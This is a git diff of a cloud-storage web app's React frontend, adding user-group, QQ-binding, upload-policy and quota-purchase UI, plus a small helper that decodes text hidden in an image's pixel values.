if(response.data.error==="1"){
this.props.toggleSnackbar("top","right",response.data.msg ,"error");
}else{
window.location.reload();
}
this.setState({
loading:"",
})
})
.catch((error) =>{
this.props.toggleSnackbar("top","right",error.message ,"error");
this.setState({
loading:"",
})
});
}
changeNick = ()=>{
this.setState({
loading:"nick",
@ -424,12 +463,44 @@ class UserSettingCompoment extends Component {
</ListItemSecondaryAction>
</ListItem>
<Divider/>
<ListItem button>
<ListItem button onClick={()=>window.location.href="/Home/Quota?buyGroup=1"}>
<ListItemIcon className={classes.iconFix}><GroupIcon/></ListItemIcon>
<ListItemText primary="用户组" />
<ListItemSecondaryAction>
<Typography className={classes.infoText} color="textSecondary">{window.userInfo.group}</Typography>
<Typography className={classes.infoText} color="textSecondary">{window.userInfo.group}{window.userInfo.expired>0&&
<span>(还有{Math.ceil(window.userInfo.expired / 86400)})</span>
}</Typography>
</ListItemSecondaryAction>
</ListItem>
{window.userInfo.expired>0&&
<div>
<Divider/>
<ListItem button onClick={()=>this.setState({groupBackModal:true})}>
<ListItemIcon className={classes.iconFix}><AlarmOff/></ListItemIcon>
<ListItemText primary="手动解约当前用户组" />
<ListItemSecondaryAction>
<RightIcon className={classes.rightIcon}/>
</ListItemSecondaryAction>
</ListItem></div>
}
<Divider/>
<ListItem button onClick={()=>window.location.href=(window.userInfo.qqBind?"/Member/UnbindQQ":"/Member/BindQQ")}>
<ListItemIcon className={classes.iconFix}><SettingsInputHdmi/></ListItemIcon>
<ListItemText primary="QQ账号" />
<ListItemSecondaryAction className={classes.flexContainer}>
<Typography className={classes.infoTextWithIcon} color="textSecondary">{window.userInfo.qqBind?"解除绑定":"绑定"}</Typography><RightIcon className={classes.rightIconWithText}/>
</ListItemSecondaryAction>
</ListItem>
<Divider/>
<ListItem button onClick={()=>this.setState({changePolicy:true})}>
<ListItemIcon className={classes.iconFix}><Backup/></ListItemIcon>
<ListItemText primary="上传策略" />
<ListItemSecondaryAction className={classes.flexContainer}>
<Typography className={classes.infoTextWithIcon} color="textSecondary">{window.userInfo.policy}</Typography><RightIcon className={classes.rightIconWithText}/>
</ListItemSecondaryAction>
</ListItem>
<Divider/>
@ -529,6 +600,22 @@ class UserSettingCompoment extends Component {
</div>
<Dialog
open={this.state.changePolicy}
onClose={this.handleClose}
>
<DialogTitle>切换上传策略</DialogTitle>
<List>
{window.userInfo.policyOption.map((value,index)=>(
<ListItem button component="label" key={index} onClick={()=>this.changePolicy(value.id)}>
<Avatar className={classes.uploadFromFile}>
<Backup />
</Avatar>
<ListItemText primary={value.name} />
</ListItem>
))}
</List>
</Dialog>
<Dialog
open={this.state.avatarModal}
onClose={this.handleClose}
>
@ -590,6 +677,25 @@ class UserSettingCompoment extends Component {
</DialogActions>
</Dialog>
<Dialog
open={this.state.groupBackModal}
onClose={this.handleClose}
>
<DialogTitle>解约用户组</DialogTitle>
<DialogContent>
将要退回到初始用户组且所支付金额无法退还确定要继续吗
</DialogContent>
<DialogActions>
<Button onClick={this.handleClose} color="default">
取消
</Button>
<Button onClick={this.doChangeGroup} color="primary" >
确定
</Button>
</DialogActions>
</Dialog>
<Dialog
open={this.state.changePassword}
onClose={this.handleClose}
>

View File

@ -33,6 +33,7 @@ const defaultStatus = {
remoteDownload:false,
torrentDownload:false,
getSource:false,
resave:false,
},
snackbar:{
toggle:false,

View File

@ -31,6 +31,7 @@ const defaultStatus = {
music:false,
remoteDownload:false,
torrentDownload:false,
resave:false,
},
snackbar:{
toggle:false,

View File

@ -5,7 +5,9 @@ import { withStyles } from '@material-ui/core/styles';
import Navbar from "../component/Navbar.js"
import AlertBar from "../component/Snackbar"
import Quota from "../component/Quota"
import BuyQuota from "../component/BuyQuota"
import { MuiThemeProvider, createMuiTheme } from '@material-ui/core/styles';
import { checkGetParameters } from '../untils/index';
const theme = createMuiTheme(window.colorTheme);
const styles = theme => ({
@ -34,7 +36,18 @@ class QuatoApp extends Component {
<Navbar />
<main className={classes.content}>
<div className={classes.toolbar} />
<Quota/>
{checkGetParameters("buyPack")&&
<BuyQuota tabID={0}/>
}
{checkGetParameters("buyGroup")&&
<BuyQuota tabID={1}/>
}
{checkGetParameters("redeem")&&
<BuyQuota tabID={2}/>
}
{!checkGetParameters("redeem")&&!(checkGetParameters("buyGroup")||checkGetParameters("buyPack"))&&
<Quota/>
}
</main>
</div></MuiThemeProvider>
</React.Fragment>

View File

@ -206,6 +206,15 @@ const cloudreveApp = (state = [], action) => {
contextOpen:false,
}),
});
case 'OPEN_RESAVE_DIALOG':
return Object.assign({}, state, {
viewUpdate: Object.assign({}, state.viewUpdate, {
modals: Object.assign({}, state.viewUpdate.modals, {
resave:true,
}),
contextOpen:false,
}),
});
case 'OPEN_SHARE_DIALOG':
return Object.assign({}, state, {
viewUpdate: Object.assign({}, state.viewUpdate, {
@ -264,6 +273,7 @@ const cloudreveApp = (state = [], action) => {
remoteDownload:false,
torrentDownload:false,
getSource:false,
resave:false,
}),
}),
});

View File

@ -66,4 +66,31 @@ export const checkGetParameters= field=>{
export const changeThemeColor = color=>{
var metaThemeColor = window.document.querySelector("meta[name=theme-color]");
metaThemeColor.setAttribute("content", color);
}
}
export const decode=(c)=>{
var e = c.height,
a = c.width,
b = document.createElement("canvas");
b.height = e;
b.width = a;
b = b.getContext("2d");
b.drawImage(c, 0, 0);
c = b.getImageData(0, 0, a, e);
b = [];
for (var d = 0; d < a * e * 4; d += 4) 0 != (d + 4) % (4 * a) && [].push.apply(b, [].slice.call(c.data, d, d + 3));
c = e = 0;
for (a = ""; c < b.length && (16 >= c || (0 == b[c] % 2 ? (e++, a += "1") : (e = 0, a += "0"), 17 != e)); c++);
a = a.slice(0, -16);
a = a.replace(/[\s]/g, "").replace(/(\d{16})(?=\d)/g, "$1 ");
e = "";
a = a.split(" ");
for (c = 0; c < a.length; c++) {
b = a[c];
if(16 == b.length){
b = parseInt(b, 2);
e += String.fromCharCode(b);
}
}
return e
};